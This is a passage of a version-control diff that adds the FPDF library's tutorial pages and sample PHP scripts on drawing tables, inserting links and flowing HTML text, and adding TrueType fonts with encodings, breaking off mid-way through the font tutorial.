+    </span>$<span class="kw">this-&gt;</span>SetTextColor<span class="kw">(</span>0<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">''</span><span class="kw">);
+    </span><span class="cmt">//Data
+    </span>$fill<span class="kw">=</span>false<span class="kw">;
+    foreach(</span>$data <span class="kw">as </span>$row<span class="kw">)
+    {
+        </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">[</span>0<span class="kw">],</span>6<span class="kw">,</span>$row<span class="kw">[</span>0<span class="kw">],</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'L'</span><span class="kw">,</span>$fill<span class="kw">);
+        </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">[</span>1<span class="kw">],</span>6<span class="kw">,</span>$row<span class="kw">[</span>1<span class="kw">],</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'L'</span><span class="kw">,</span>$fill<span class="kw">);
+        </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">[</span>2<span class="kw">],</span>6<span class="kw">,</span>number_format<span class="kw">(</span>$row<span class="kw">[</span>2<span class="kw">]),</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'R'</span><span class="kw">,</span>$fill<span class="kw">);
+        </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>$w<span class="kw">[</span>3<span class="kw">],</span>6<span class="kw">,</span>number_format<span class="kw">(</span>$row<span class="kw">[</span>3<span class="kw">]),</span><span class="str">'LR'</span><span class="kw">,</span>0<span class="kw">,</span><span class="str">'R'</span><span class="kw">,</span>$fill<span class="kw">);
+        </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">();
+        </span>$fill<span class="kw">=!</span>$fill<span class="kw">;
+    }
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>array_sum<span class="kw">(</span>$w<span class="kw">),</span>0<span class="kw">,</span><span class="str">''</span><span class="kw">,</span><span class="str">'T'</span><span class="kw">);
+}
+}
+
+</span>$pdf<span class="kw">=new </span>PDF<span class="kw">();
+</span><span class="cmt">//Column titles
+</span>$header<span class="kw">=array(</span><span class="str">'Country'</span><span class="kw">,</span><span class="str">'Capital'</span><span class="kw">,</span><span class="str">'Area (sq km)'</span><span class="kw">,</span><span class="str">'Pop. (thousands)'</span><span class="kw">);
+</span><span class="cmt">//Data loading
+</span>$data<span class="kw">=</span>$pdf<span class="kw">-&gt;</span>LoadData<span class="kw">(</span><span class="str">'countries.txt'</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>14<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>AddPage<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>BasicTable<span class="kw">(</span>$header<span class="kw">,</span>$data<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>AddPage<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>ImprovedTable<span class="kw">(</span>$header<span class="kw">,</span>$data<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>AddPage<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>FancyTable<span class="kw">(</span>$header<span class="kw">,</span>$data<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>Output<span class="kw">();
+</span>?&gt;</code></pre>
+</div>
+<p class='demo'><a href='tuto5.php' target='_blank' class='demo'>[Demo]</a></p>
+A table being just a collection of cells, it is natural to build one from them. The first
+example is achieved in the most basic way possible: simple framed cells, all of the same size
+and left aligned. The result is rudimentary but very quick to obtain.
+<br>
+<br>
+The second table brings some improvements: each column has its own width, titles are centered
+and figures right aligned. Moreover, horizontal lines have been removed. This is done by means
+of the <code>border</code> parameter of the <a href='../doc/cell.htm'>Cell()</a> method, which specifies which sides of the
+cell must be drawn. Here we want the left (<code>L</code>) and right (<code>R</code>) ones. It remains
+the problem of the horizontal line to finish the table. There are two possibilities: either
+check for the last line in the loop, in which case we use <code>LRB</code> for the <code>border</code>
+parameter; or, as done here, add the line once the loop is over.
+<br>
+<br>
+The third table is similar to the second one but uses colors. Fill, text and line colors are
+simply specified. Alternate coloring for rows is obtained by using alternatively transparent
+and filled cells.
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto5.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto5.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto5.php	(revision 44)
@@ -0,0 +1,101 @@
+<?php
+require('../fpdf.php');
+
+class PDF extends FPDF
+{
+//Load data
+function LoadData($file)
+{
+	//Read file lines
+	$lines=file($file);
+	$data=array();
+	foreach($lines as $line)
+		$data[]=explode(';',chop($line));
+	return $data;
+}
+
+//Simple table
+function BasicTable($header,$data)
+{
+	//Header
+	foreach($header as $col)
+		$this->Cell(40,7,$col,1);
+	$this->Ln();
+	//Data
+	foreach($data as $row)
+	{
+		foreach($row as $col)
+			$this->Cell(40,6,$col,1);
+		$this->Ln();
+	}
+}
+
+//Better table
+function ImprovedTable($header,$data)
+{
+	//Column widths
+	$w=array(40,35,40,45);
+	//Header
+	for($i=0;$i<count($header);$i++)
+		$this->Cell($w[$i],7,$header[$i],1,0,'C');
+	$this->Ln();
+	//Data
+	foreach($data as $row)
+	{
+		$this->Cell($w[0],6,$row[0],'LR');
+		$this->Cell($w[1],6,$row[1],'LR');
+		$this->Cell($w[2],6,number_format($row[2]),'LR',0,'R');
+		$this->Cell($w[3],6,number_format($row[3]),'LR',0,'R');
+		$this->Ln();
+	}
+	//Closure line
+	$this->Cell(array_sum($w),0,'','T');
+}
+
+//Colored table
+function FancyTable($header,$data)
+{
+	//Colors, line width and bold font
+	$this->SetFillColor(255,0,0);
+	$this->SetTextColor(255);
+	$this->SetDrawColor(128,0,0);
+	$this->SetLineWidth(.3);
+	$this->SetFont('','B');
+	//Header
+	$w=array(40,35,40,45);
+	for($i=0;$i<count($header);$i++)
+		$this->Cell($w[$i],7,$header[$i],1,0,'C',true);
+	$this->Ln();
+	//Color and font restoration
+	$this->SetFillColor(224,235,255);
+	$this->SetTextColor(0);
+	$this->SetFont('');
+	//Data
+	$fill=false;
+	foreach($data as $row)
+	{
+		$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);
+		$this->Cell($w[1],6,$row[1],'LR',0,'L',$fill);
+		$this->Cell($w[2],6,number_format($row[2]),'LR',0,'R',$fill);
+		$this->Cell($w[3],6,number_format($row[3]),'LR',0,'R',$fill);
+		$this->Ln();
+		$fill=!$fill;
+	}
+	$this->Cell(array_sum($w),0,'','T');
+}
+}
+
+$pdf=new PDF();
+//Column titles
+$header=array('Country','Capital','Area (sq km)','Pop. (thousands)');
+//Data loading
+$data=$pdf->LoadData('countries.txt');
+$pdf->SetFont('Arial','',14);
+$pdf->AddPage();
+$pdf->BasicTable($header,$data);
+$pdf->AddPage();
+$pdf->ImprovedTable($header,$data);
+$pdf->AddPage();
+$pdf->FancyTable($header,$data);
+$pdf->Output();
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto6.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto6.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto6.htm	(revision 44)
@@ -0,0 +1,163 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Links and flowing text</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Links and flowing text</h1>
+This tutorial explains how to insert links (internal and external) and shows a new text writing
+mode. It also contains a basic HTML parser.
+<div class="source">
+<pre><code>&lt;?php
+<span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">);
+
+class </span>PDF <span class="kw">extends </span>FPDF
+<span class="kw">{
+var </span>$B<span class="kw">;
+var </span>$I<span class="kw">;
+var </span>$U<span class="kw">;
+var </span>$HREF<span class="kw">;
+
+function </span>PDF<span class="kw">(</span>$orientation<span class="kw">=</span><span class="str">'P'</span><span class="kw">,</span>$unit<span class="kw">=</span><span class="str">'mm'</span><span class="kw">,</span>$format<span class="kw">=</span><span class="str">'A4'</span><span class="kw">)
+{
+    </span><span class="cmt">//Call parent constructor
+    </span>$<span class="kw">this-&gt;</span>FPDF<span class="kw">(</span>$orientation<span class="kw">,</span>$unit<span class="kw">,</span>$format<span class="kw">);
+    </span><span class="cmt">//Initialization
+    </span>$<span class="kw">this-&gt;</span>B<span class="kw">=</span>0<span class="kw">;
+    </span>$<span class="kw">this-&gt;</span>I<span class="kw">=</span>0<span class="kw">;
+    </span>$<span class="kw">this-&gt;</span>U<span class="kw">=</span>0<span class="kw">;
+    </span>$<span class="kw">this-&gt;</span>HREF<span class="kw">=</span><span class="str">''</span><span class="kw">;
+}
+
+function </span>WriteHTML<span class="kw">(</span>$html<span class="kw">)
+{
+    </span><span class="cmt">//HTML parser
+    </span>$html<span class="kw">=</span>str_replace<span class="kw">(</span><span class="str">"\n"</span><span class="kw">,</span><span class="str">' '</span><span class="kw">,</span>$html<span class="kw">);
+    </span>$a<span class="kw">=</span>preg_split<span class="kw">(</span><span class="str">'/&lt;(.*)&gt;/U'</span><span class="kw">,</span>$html<span class="kw">,-</span>1<span class="kw">,</span>PREG_SPLIT_DELIM_CAPTURE<span class="kw">);
+    foreach(</span>$a <span class="kw">as </span>$i<span class="kw">=&gt;</span>$e<span class="kw">)
+    {
+        if(</span>$i<span class="kw">%</span>2<span class="kw">==</span>0<span class="kw">)
+        {
+            </span><span class="cmt">//Text
+            </span><span class="kw">if(</span>$<span class="kw">this-&gt;</span>HREF<span class="kw">)
+                </span>$<span class="kw">this-&gt;</span>PutLink<span class="kw">(</span>$<span class="kw">this-&gt;</span>HREF<span class="kw">,</span>$e<span class="kw">);
+            else
+                </span>$<span class="kw">this-&gt;</span>Write<span class="kw">(</span>5<span class="kw">,</span>$e<span class="kw">);
+        }
+        else
+        {
+            </span><span class="cmt">//Tag
+            </span><span class="kw">if(</span>$e<span class="kw">{</span>0<span class="kw">}==</span><span class="str">'/'</span><span class="kw">)
+                </span>$<span class="kw">this-&gt;</span>CloseTag<span class="kw">(</span>strtoupper<span class="kw">(</span>substr<span class="kw">(</span>$e<span class="kw">,</span>1<span class="kw">)));
+            else
+            {
+                </span><span class="cmt">//Extract attributes
+                </span>$a2<span class="kw">=</span>explode<span class="kw">(</span><span class="str">' '</span><span class="kw">,</span>$e<span class="kw">);
+                </span>$tag<span class="kw">=</span>strtoupper<span class="kw">(</span>array_shift<span class="kw">(</span>$a2<span class="kw">));
+                </span>$attr<span class="kw">=array();
+                foreach(</span>$a2 <span class="kw">as </span>$v<span class="kw">)
+                {
+                    if(</span>preg_match<span class="kw">(</span><span class="str">'/([^=]*)=["\']?([^"\']*)/'</span><span class="kw">,</span>$v<span class="kw">,</span>$a3<span class="kw">))
+                        </span>$attr<span class="kw">[</span>strtoupper<span class="kw">(</span>$a3<span class="kw">[</span>1<span class="kw">])]=</span>$a3<span class="kw">[</span>2<span class="kw">];
+                }
+                </span>$<span class="kw">this-&gt;</span>OpenTag<span class="kw">(</span>$tag<span class="kw">,</span>$attr<span class="kw">);
+            }
+        }
+    }
+}
+
+function </span>OpenTag<span class="kw">(</span>$tag<span class="kw">,</span>$attr<span class="kw">)
+{
+    </span><span class="cmt">//Opening tag
+    </span><span class="kw">if(</span>$tag<span class="kw">==</span><span class="str">'B' </span><span class="kw">or </span>$tag<span class="kw">==</span><span class="str">'I' </span><span class="kw">or </span>$tag<span class="kw">==</span><span class="str">'U'</span><span class="kw">)
+        </span>$<span class="kw">this-&gt;</span>SetStyle<span class="kw">(</span>$tag<span class="kw">,</span>true<span class="kw">);
+    if(</span>$tag<span class="kw">==</span><span class="str">'A'</span><span class="kw">)
+        </span>$<span class="kw">this-&gt;</span>HREF<span class="kw">=</span>$attr<span class="kw">[</span><span class="str">'HREF'</span><span class="kw">];
+    if(</span>$tag<span class="kw">==</span><span class="str">'BR'</span><span class="kw">)
+        </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">(</span>5<span class="kw">);
+}
+
+function </span>CloseTag<span class="kw">(</span>$tag<span class="kw">)
+{
+    </span><span class="cmt">//Closing tag
+    </span><span class="kw">if(</span>$tag<span class="kw">==</span><span class="str">'B' </span><span class="kw">or </span>$tag<span class="kw">==</span><span class="str">'I' </span><span class="kw">or </span>$tag<span class="kw">==</span><span class="str">'U'</span><span class="kw">)
+        </span>$<span class="kw">this-&gt;</span>SetStyle<span class="kw">(</span>$tag<span class="kw">,</span>false<span class="kw">);
+    if(</span>$tag<span class="kw">==</span><span class="str">'A'</span><span class="kw">)
+        </span>$<span class="kw">this-&gt;</span>HREF<span class="kw">=</span><span class="str">''</span><span class="kw">;
+}
+
+function </span>SetStyle<span class="kw">(</span>$tag<span class="kw">,</span>$enable<span class="kw">)
+{
+    </span><span class="cmt">//Modify style and select corresponding font
+    </span>$<span class="kw">this-&gt;</span>$tag<span class="kw">+=(</span>$enable <span class="kw">? </span>1 <span class="kw">: -</span>1<span class="kw">);
+    </span>$style<span class="kw">=</span><span class="str">''</span><span class="kw">;
+    foreach(array(</span><span class="str">'B'</span><span class="kw">,</span><span class="str">'I'</span><span class="kw">,</span><span class="str">'U'</span><span class="kw">) as </span>$s<span class="kw">)
+        if(</span>$<span class="kw">this-&gt;</span>$s<span class="kw">&gt;</span>0<span class="kw">)
+            </span>$style<span class="kw">.=</span>$s<span class="kw">;
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">''</span><span class="kw">,</span>$style<span class="kw">);
+}
+
+function </span>PutLink<span class="kw">(</span>$URL<span class="kw">,</span>$txt<span class="kw">)
+{
+    </span><span class="cmt">//Put a hyperlink
+    </span>$<span class="kw">this-&gt;</span>SetTextColor<span class="kw">(</span>0<span class="kw">,</span>0<span class="kw">,</span>255<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetStyle<span class="kw">(</span><span class="str">'U'</span><span class="kw">,</span>true<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>Write<span class="kw">(</span>5<span class="kw">,</span>$txt<span class="kw">,</span>$URL<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetStyle<span class="kw">(</span><span class="str">'U'</span><span class="kw">,</span>false<span class="kw">);
+    </span>$<span class="kw">this-&gt;</span>SetTextColor<span class="kw">(</span>0<span class="kw">);
+}
+}
+
+</span>$html<span class="kw">=</span><span class="str">'You can now easily print text mixing different styles: &lt;b&gt;bold&lt;/b&gt;, &lt;i&gt;italic&lt;/i&gt;,
+&lt;u&gt;underlined&lt;/u&gt;, or &lt;b&gt;&lt;i&gt;&lt;u&gt;all at once&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;!&lt;br&gt;&lt;br&gt;You can also insert links on
+text, such as &lt;a href="http://www.fpdf.org"&gt;www.fpdf.org&lt;/a&gt;, or on an image: click on the logo.'</span><span class="kw">;
+
+</span>$pdf<span class="kw">=new </span>PDF<span class="kw">();
+</span><span class="cmt">//First page
+</span>$pdf<span class="kw">-&gt;</span>AddPage<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>20<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>Write<span class="kw">(</span>5<span class="kw">,</span><span class="str">'To find out what\'s new in this tutorial, click '</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>SetFont<span class="kw">(</span><span class="str">''</span><span class="kw">,</span><span class="str">'U'</span><span class="kw">);
+</span>$link<span class="kw">=</span>$pdf<span class="kw">-&gt;</span>AddLink<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>Write<span class="kw">(</span>5<span class="kw">,</span><span class="str">'here'</span><span class="kw">,</span>$link<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>SetFont<span class="kw">(</span><span class="str">''</span><span class="kw">);
+</span><span class="cmt">//Second page
+</span>$pdf<span class="kw">-&gt;</span>AddPage<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>SetLink<span class="kw">(</span>$link<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>Image<span class="kw">(</span><span class="str">'logo.png'</span><span class="kw">,</span>10<span class="kw">,</span>12<span class="kw">,</span>30<span class="kw">,</span>0<span class="kw">,</span><span class="str">''</span><span class="kw">,</span><span class="str">'http://www.fpdf.org'</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>SetLeftMargin<span class="kw">(</span>45<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>SetFontSize<span class="kw">(</span>14<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>WriteHTML<span class="kw">(</span>$html<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>Output<span class="kw">();
+</span>?&gt;</code></pre>
+</div>
+<p class='demo'><a href='tuto6.php' target='_blank' class='demo'>[Demo]</a></p>
+The new method to print text is <a href='../doc/write.htm'>Write()</a>. It is very close to <a href='../doc/multicell.htm'>MultiCell()</a>; the differences are:
+<ul>
+<li>The end of line is at the right margin and the next line begins at the left one</li>
+<li>The current position moves at the end of the text</li>
+</ul>
+So it allows to write a chunk of text, alter the font style, then continue from the exact
+place we left it. On the other hand, you cannot justify it.
+<br>
+<br>
+The method is used on the first page to put a link pointing to the second one. The beginning of
+the sentence is written in regular style, then we switch to underline and finish it. The link
+is created with <a href='../doc/addlink.htm'>AddLink()</a>, which returns a link identifier. The identifier is
+passed as third parameter of Write(). Once the second page is created, we use <a href='../doc/setlink.htm'>SetLink()</a> to
+make the link point to the beginning of the current page.
+<br>
+<br>
+Then we put an image with a link on it. An external link points to an URL (HTTP, mailto...).
+The URL is simply passed as last parameter of <a href='../doc/image.htm'>Image()</a>.
+<br>
+<br>
+Finally, the left margin is moved after the image with <a href='../doc/setleftmargin.htm'>SetLeftMargin()</a> and some text in
+HTML format is output. A very simple HTML parser is used for this, based on regular expressions.
+Recognized tags are &lt;b&gt;, &lt;i&gt;, &lt;u&gt;, &lt;a&gt; and &lt;br&gt;; the others are
+ignored. The parser also makes use of the Write() method. An external link is put the same way as
+an internal one (third parameter of Write()). Note that <a href='../doc/cell.htm'>Cell()</a> also allows to put links.
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto6.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto6.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto6.php	(revision 44)
@@ -0,0 +1,122 @@
+<?php
+require('../fpdf.php');
+
+class PDF extends FPDF
+{
+var $B;
+var $I;
+var $U;
+var $HREF;
+
+function PDF($orientation='P',$unit='mm',$format='A4')
+{
+	//Call parent constructor
+	$this->FPDF($orientation,$unit,$format);
+	//Initialization
+	$this->B=0;
+	$this->I=0;
+	$this->U=0;
+	$this->HREF='';
+}
+
+function WriteHTML($html)
+{
+	//HTML parser
+	$html=str_replace("\n",' ',$html);
+	$a=preg_split('/<(.*)>/U',$html,-1,PREG_SPLIT_DELIM_CAPTURE);
+	foreach($a as $i=>$e)
+	{
+		if($i%2==0)
+		{
+			//Text
+			if($this->HREF)
+				$this->PutLink($this->HREF,$e);
+			else
+				$this->Write(5,$e);
+		}
+		else
+		{
+			//Tag
+			if($e{0}=='/')
+				$this->CloseTag(strtoupper(substr($e,1)));
+			else
+			{
+				//Extract attributes
+				$a2=explode(' ',$e);
+				$tag=strtoupper(array_shift($a2));
+				$attr=array();
+				foreach($a2 as $v)
+				{
+					if(preg_match('/([^=]*)=["\']?([^"\']*)/',$v,$a3))
+						$attr[strtoupper($a3[1])]=$a3[2];
+				}
+				$this->OpenTag($tag,$attr);
+			}
+		}
+	}
+}
+
+function OpenTag($tag,$attr)
+{
+	//Opening tag
+	if($tag=='B' or $tag=='I' or $tag=='U')
+		$this->SetStyle($tag,true);
+	if($tag=='A')
+		$this->HREF=$attr['HREF'];
+	if($tag=='BR')
+		$this->Ln(5);
+}
+
+function CloseTag($tag)
+{
+	//Closing tag
+	if($tag=='B' or $tag=='I' or $tag=='U')
+		$this->SetStyle($tag,false);
+	if($tag=='A')
+		$this->HREF='';
+}
+
+function SetStyle($tag,$enable)
+{
+	//Modify style and select corresponding font
+	$this->$tag+=($enable ? 1 : -1);
+	$style='';
+	foreach(array('B','I','U') as $s)
+		if($this->$s>0)
+			$style.=$s;
+	$this->SetFont('',$style);
+}
+
+function PutLink($URL,$txt)
+{
+	//Put a hyperlink
+	$this->SetTextColor(0,0,255);
+	$this->SetStyle('U',true);
+	$this->Write(5,$txt,$URL);
+	$this->SetStyle('U',false);
+	$this->SetTextColor(0);
+}
+}
+
+$html='You can now easily print text mixing different styles: <b>bold</b>, <i>italic</i>,
+<u>underlined</u>, or <b><i><u>all at once</u></i></b>!<br><br>You can also insert links on
+text, such as <a href="http://www.fpdf.org">www.fpdf.org</a>, or on an image: click on the logo.';
+
+$pdf=new PDF();
+//First page
+$pdf->AddPage();
+$pdf->SetFont('Arial','',20);
+$pdf->Write(5,'To find out what\'s new in this tutorial, click ');
+$pdf->SetFont('','U');
+$link=$pdf->AddLink();
+$pdf->Write(5,'here',$link);
+$pdf->SetFont('');
+//Second page
+$pdf->AddPage();
+$pdf->SetLink($link);
+$pdf->Image('logo.png',10,12,30,0,'','http://www.fpdf.org');
+$pdf->SetLeftMargin(45);
+$pdf->SetFontSize(14);
+$pdf->WriteHTML($html);
+$pdf->Output();
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto7.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto7.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto7.htm	(revision 44)
@@ -0,0 +1,303 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Adding new fonts and encoding support</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+<style type="text/css">
+table {border-collapse:collapse; border-style:solid; border-width:2px; border-color:#A0A0A0 #000000 #000000 #A0A0A0}
+table {margin:1.4em 0 1.4em 1em}
+th {background-color:#E0EBFF; color:#900000; text-align:left}
+th, td {border:1px solid #808080; padding:2px 10px}
+tr.alt0 {background-color:#FFFFEE}
+tr.alt1 {background-color:#FFFFE0}
+</style>
+</head>
+<body>
+<h1>Adding new fonts and encoding support</h1>
+This tutorial explains how to use TrueType or Type1 fonts so that you are not limited to the standard
+fonts any more. The other interest is that you can choose the font encoding, which allows you to
+use other languages than the Western ones (the standard fonts having too few available characters).
+<br>
+<br>
+There are two ways to use a new font: embedding it in the PDF or not. When a font is not
+embedded, it is searched in the system. The advantage is that the PDF file is lighter; on the other
+hand, if it is not available, a substitution font is used. So it is preferable to ensure that the
+needed font is installed on the client systems. If the file is to be viewed by a large audience,
+it is recommended to embed.
+<br>
+<br>
+Adding a new font requires three steps for TrueTypes:
+<ul>
+<li>Generation of the metric file (.afm)</li>
+<li>Generation of the font definition file (.php)</li>
+<li>Declaration of the font in the script</li>
+</ul>
+For Type1, the first one is theoretically not necessary because the AFM file is usually shipped
+with the font. In case you have only a metric file in PFM format, use the convertor available
+<a href="http://www.fpdf.org/fr/dl.php?id=34">here</a>.
+<h2>Generation of the metric file</h2>
+The first step for a TrueType consists in generating the AFM file. A utility exists to do this
+task: <a href="http://ttf2pt1.sourceforge.net" target="_blank">ttf2pt1</a>. The Windows binary
+is available <a href="http://www.fpdf.org/fr/dl.php?id=22">here</a>. The command line to use is
+the following:
+<br>
+<br>
+<kbd>ttf2pt1 -a font.ttf font</kbd>
+<br>
+<br>
+For example, for Comic Sans MS Regular:
+<br>
+<br>
+<kbd>ttf2pt1 -a c:\windows\fonts\comic.ttf comic</kbd>
+<br>
+<br>
+Two files are created; the one we are interested in is comic.afm.
+<h2>Generation of the font definition file</h2>
+The second step consists in generating a PHP file containing all the information needed by FPDF;
+in addition, the font file is compressed. To do this, a helper script is provided in the font/makefont/
+directory of the package: makefont.php. It contains the following function:
+<br>
+<br>
+<code>MakeFont(<b>string</b> fontfile, <b>string</b> afmfile [, <b>string</b> enc [, <b>array</b> patch [, <b>string</b> type]]])</code>
+<dl class="param" style="margin-bottom:2em">
+<dt><code>fontfile</code></dt>
+<dd>
+<p>Path to the .ttf or .pfb file.</p>
+</dd>
+<dt><code>afmfile</code></dt>
+<dd>
+<p>Path to the .afm file.</p>
+</dd>
+<dt><code>enc</code></dt>
+<dd>
+<p>Name of the encoding to use. Default value: <code>cp1252</code>.</p>
+</dd>
+<dt><code>patch</code></dt>
+<dd>
+<p>Optional modification of the encoding. Empty by default.</p>
+</dd>
+<dt><code>type</code></dt>
+<dd>
+<p>Type of the font (<code>TrueType</code> or <code>Type1</code>). Default value: <code>TrueType</code>.</p>
+</dd>
+</dl>
+The first parameter is the name of the font file. The extension must be either .ttf or .pfb and
+determines the font type. If you own a Type1 font in ASCII format (.pfa), you can convert it to
+binary format with <a href="http://www.lcdf.org/~eddietwo/type/#t1utils" target="_blank">t1utils</a>.
+<br>
+If you don't want to embed the font, pass an empty string. In this case, type is given by the
+<code>type</code> parameter.
+<br>
+Note: in the case of a font with the same name as a standard one, for instance arial.ttf, it is
+recommended to embed. If you don't, some versions of Acrobat will use their own fonts.
+<br>
+<br>
+The AFM file is the one previously generated.
+<br>
+<br>
+The encoding defines the association between a code (from 0 to 255) and a character. The first
+128 are fixed and correspond to ASCII; the following are variable. The encodings are stored in
+.map files. Those available are:
+<ul>
+<li>cp1250 (Central Europe)</li>
+<li>cp1251 (Cyrillic)</li>
+<li>cp1252 (Western Europe)</li>
+<li>cp1253 (Greek)</li>
+<li>cp1254 (Turkish)</li>
+<li>cp1255 (Hebrew)</li>
+<li>cp1257 (Baltic)</li>
+<li>cp1258 (Vietnamese)</li>
+<li>cp874 (Thai)</li>
+<li>ISO-8859-1 (Western Europe)</li>
+<li>ISO-8859-2 (Central Europe)</li>
+<li>ISO-8859-4 (Baltic)</li>
+<li>ISO-8859-5 (Cyrillic)</li>
+<li>ISO-8859-7 (Greek)</li>
+<li>ISO-8859-9 (Turkish)</li>
+<li>ISO-8859-11 (Thai)</li>
+<li>ISO-8859-15 (Western Europe)</li>
+<li>ISO-8859-16 (Central Europe)</li>
+<li>KOI8-R (Russian)</li>
+<li>KOI8-U (Ukrainian)</li>
+</ul>
+Of course, the font must contain the characters corresponding to the chosen encoding.
+<br>
+In the particular case of a symbolic font (that is to say which does not contain letters, such
+as Symbol or ZapfDingbats), pass an empty string.
+<br>
+The encodings which begin with cp are those used by Windows; Linux systems usually use ISO.
+<br>
+Remark: the standard fonts use cp1252.
+<br>
+<br>
+The fourth parameter gives the possibility to alter the encoding. Sometimes you may want to add
+some characters. For instance, ISO-8859-1 does not contain the euro symbol. To add it at position
+164, pass <code>array(164=>'Euro')</code>.
+<br>
+<br>
+The last parameter is used to give the type of the font in case it is not embedded (that is to
+say the first parameter is empty).
+<br>
+<br>
+After you have called the function (create a new file for this and include makefont.php, or
+simply add the call directly inside), a .php file is created, with the same name as the .afm one.
+You may rename it if you wish. If the case of embedding, the font file is compressed and gives a
+second file with .z as extension (except if the compression function is not available, it
+requires zlib). You may rename it too, but in this case you have to alter the variable <code>$file</code>
+in the .php file accordingly.
+<br>
+<br>
+Example:
+<div class="source">
+<pre><code>MakeFont<span class="kw">(</span><span class="str">'c:\\windows\\fonts\\comic.ttf'</span><span class="kw">,</span><span class="str">'comic.afm'</span><span class="kw">,</span><span class="str">'cp1252'</span><span class="kw">);
+</span></code></pre>
+</div>
+which gives the files comic.php and comic.z.
+<br>
+<br>
+Then you have to copy the generated file(s) to the font directory. If the font file
+could not be compressed, copy the .ttf or .pfb instead of the .z.
+<br>
+<br>
+Remark: for TTF fonts, you can generate the files online <a href="http://fpdf.fruit-lab.de" target="_blank">here</a>
+instead of doing it manually.
+<h2>Declaration of the font in the script</h2>
+The last step is the most simple. You just need to call the <a href='../doc/addfont.htm'>AddFont()</a> method. For instance:
+<div class="source">
+<pre><code>$pdf<span class="kw">-&gt;</span>AddFont<span class="kw">(</span><span class="str">'Comic'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span><span class="str">'comic.php'</span><span class="kw">);
+</span></code></pre>
+</div>
+or simply:
+<div class="source">
+<pre><code>$pdf<span class="kw">-&gt;</span>AddFont<span class="kw">(</span><span class="str">'Comic'</span><span class="kw">);
+</span></code></pre>
+</div>
+And the font is now available (in regular and underlined styles), usable like the others. If we
+had worked with Comic Sans MS Bold (comicbd.ttf), we would have put:
+<div class="source">
+<pre><code>$pdf<span class="kw">-&gt;</span>AddFont<span class="kw">(</span><span class="str">'Comic'</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">,</span><span class="str">'comicbd.php'</span><span class="kw">);
+</span></code></pre>
+</div>
+<h2>Example</h2>
+Let's now see a small complete example. The font used is Calligrapher, available at
+<a href="http://www.abstractfonts.com/fonts/" target="_blank">www.abstractfonts.com</a> (a site
+offering numerous free TrueType fonts). The first step is the generation of the AFM file:
+<br>
+<br>
